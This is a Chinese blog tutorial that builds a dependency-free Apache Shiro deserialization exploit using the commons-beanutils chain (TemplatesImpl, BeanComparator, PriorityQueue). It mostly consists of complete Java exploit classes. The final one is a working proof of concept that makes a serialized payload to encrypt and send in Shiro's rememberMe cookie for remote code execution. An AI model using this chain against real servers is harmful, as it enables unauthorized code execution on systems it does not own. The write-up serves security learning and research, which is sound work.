shiro无依赖利用链

我们上次用的CC3的依赖,这次把这个依赖删了,使用shiro自带的依赖打cmmons-beanutils-1.8.3.jar

CC是对java集合类的增强,CB是对JavaBean的增强

bean是容器,Java中可以对bean进行操作get,set方法
而cb为了动态的操作bean,它里面有工具栏可以直接操作bean

PropertyUtils.getProperty(ClassName,"Field")

我们跟到getProperty内部看看是怎么操作的

public static Object getProperty(Object bean, String name)
    throws IllegalAccessException, InvocationTargetException,
    NoSuchMethodException {

    return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

继续跟进getProperty

   public Object getProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        return (getNestedProperty(bean, name));

    }

Nested是嵌套的意思 跟进去发现,readMethod是我们传进去的参数
image.png
然后进行反射调用,将值返回

  Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
        return (value);

实际上在CC3中我们发现在templatesImpl类中有一个getOutputProperties方法,被newTransformer()调用

public synchronized Properties getOutputProperties() { 
	try {
	    return newTransformer().getOutputProperties();
	}
	catch (TransformerConfigurationException e) {
	    return null;
	}

newTransformer()是可以动态加载类的,也就是可以代码执行,所以getOutputProperties也是一个可以代码执行的点
我们这里拿CC3的后半条链进行测试,注意包的问题

package com.ay;


import org.apache.commons.beanutils.PropertyUtils;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @ClassName CBTest
 * @Author aY
 * @Date 2023/3/12 21:40
 * @Description
 */
public class CBTest {
    public static void main(String[] args) throws Exception{

        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();

        Field namefield = tc.getDeclaredField("_name");
        namefield.setAccessible(true);
        namefield.set(templates,"aaaa");
        Field bytecodesield = tc.getDeclaredField("_bytecodes");
        bytecodesield.setAccessible(true);

        Field tfactoryfield = tc.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates, new TransformerFactoryImpl());

        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
        byte[][] codes={code};
        //private byte[][] _bytecodes = null;
        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去



        PropertyUtils.getProperty(templates,"outputProperties");
    }

    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

弹出计算器,执行点找到了
image.png
我们继续找getProperty在哪被调用了image.png
org.apache.commons.beanutils.BeanComparator

 public int compare( Object o1, Object o2 ) {
        
        if ( property == null ) {
            // compare the actual objects
            return comparator.compare( o1, o2 );
        }
        
        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return comparator.compare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        } 
        catch ( InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
        }
        catch ( NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        } 
    }

Object value1 = PropertyUtils.getProperty( o1, property );
property属性可以控制,o1是我们传的参数,这里很可能是一个可以利用的点
在CC2中我们 使用优先队列java.util.PriorityQueue调用了readObject方法,readObject里面调用了heapifyheapify里面调用了siftDownsiftDown里面调用了siftDownUsingComparatorsiftDownUsingComparator里面调用了comparator.compare方法,又找到一个类TransformingComparator,它的compare方法会调用transformer.transform()方法。
现在我们同样可以使用优先队列中找到compare,而且优先队列的参数也是可以控制的
利用链条:


defineClass->newInstance
TemplatesImpl.newTransformer
TemplatesImpl.getOutputProperties
PropertyUtils.getProperty
BeanComparator.compare
TransformingComparator.compare
PriorityQueue.readObject

构造exp
将CC2的后半条链子拿过来直接用

  TemplatesImpl templates = new TemplatesImpl();
        Class te = templates.getClass();

        Field namefield = te.getDeclaredField("_name");
        namefield.setAccessible(true);
        namefield.set(templates,"aaa");
        Field bytecodesield = te.getDeclaredField("_bytecodes");
        bytecodesield.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
        byte[][] codes={code};
        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去

接下来new一个BeanComparator,看看它的构造方法

  public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

这里我们只需要将参数值传进去就好了,也就是要调用的OutputProperties方法名
然后弄一个优先队列,将它放进来,然后序列化就好了

PriorityQueue priorityQueue = new PriorityQueue();

priorityQueue.add(templates);
priorityQueue.add(2);

PriorityQueue实例化的时候,要把beanComparator传进去,但是这里直接传的话会有问题
我们通过反射在序列化之前修改它的值

  Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        Field comparator = priorityQueueClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);

但是还是报错
这里是因为队列在add的时候就会进行操作。
解决这个问题有两种方法:
第一种就是在优先队列的时候,正常传数据,在反序列化之前利用反射将值改回去

PriorityQueue priorityQueue = new PriorityQueue();

priorityQueue.add(1);
priorityQueue.add(2);

第二种就是利用CC2的链子


TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformerfield = c.getDeclaredField("transformer");
transformerfield.setAccessible(true);
transformerfield.set(transformingComparator,InvokerTransformer);

TransformingComparator虽然是CC4中的类,但是我们在传入系统的时候就把他修改成beanComparator,只要我们本地有CC4的依赖就可以做了
exp:

package com.ay;


import org.apache.commons.beanutils.BeanComparator;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.xalan.xsltc.trax.TemplatesImpl;



import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

/**
 * @ClassName CBTest
 * @Author aY
 * @Date 2023/3/12 21:40
 * @Description
 */
public class CBTest {
    public static void main(String[] args) throws Exception{

        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class te = templates.getClass();

        Field namefield = te.getDeclaredField("_name");
        namefield.setAccessible(true);
        namefield.set(templates,"aaa");
        Field bytecodesield = te.getDeclaredField("_bytecodes");
        bytecodesield.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
        byte[][] codes={code};
        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去

        //CB
        BeanComparator beanComparator = new BeanComparator("outputProperties");


        //CC2
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        Field comparator = priorityQueueClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");


    }

    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image.png
我们还是将生成的ser.bin文件加密,然后传到rememberMe字段中
image.png
发送之后发现没反应
实际上是在BeanComparator的构造方法中ComparableComparator会调用CC中的依赖

  public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

我们只要调用它的另一个构造函数,然后调用JDK或者CB自带的类就行了,同时还要满足两个条件,一方面就是继承comparator接口,另一个方面就继承Serializeable

public BeanComparator( String property, Comparator comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }

然后我们再进行加密,发包
poc:

package com.ay;


import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.xalan.xsltc.trax.TemplatesImpl;



import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

/**
 * @ClassName CBTest
 * @Author aY
 * @Date 2023/3/12 21:40
 * @Description
 */
public class CBTest {
    public static void main(String[] args) throws Exception{

        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class te = templates.getClass();

        Field namefield = te.getDeclaredField("_name");
        namefield.setAccessible(true);
        namefield.set(templates,"aaa");
        Field bytecodesield = te.getDeclaredField("_bytecodes");
        bytecodesield.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
        byte[][] codes={code};
        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去

        //CB
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());


        //CC2
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        Field comparator = priorityQueueClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");


    }

    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YY13172

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值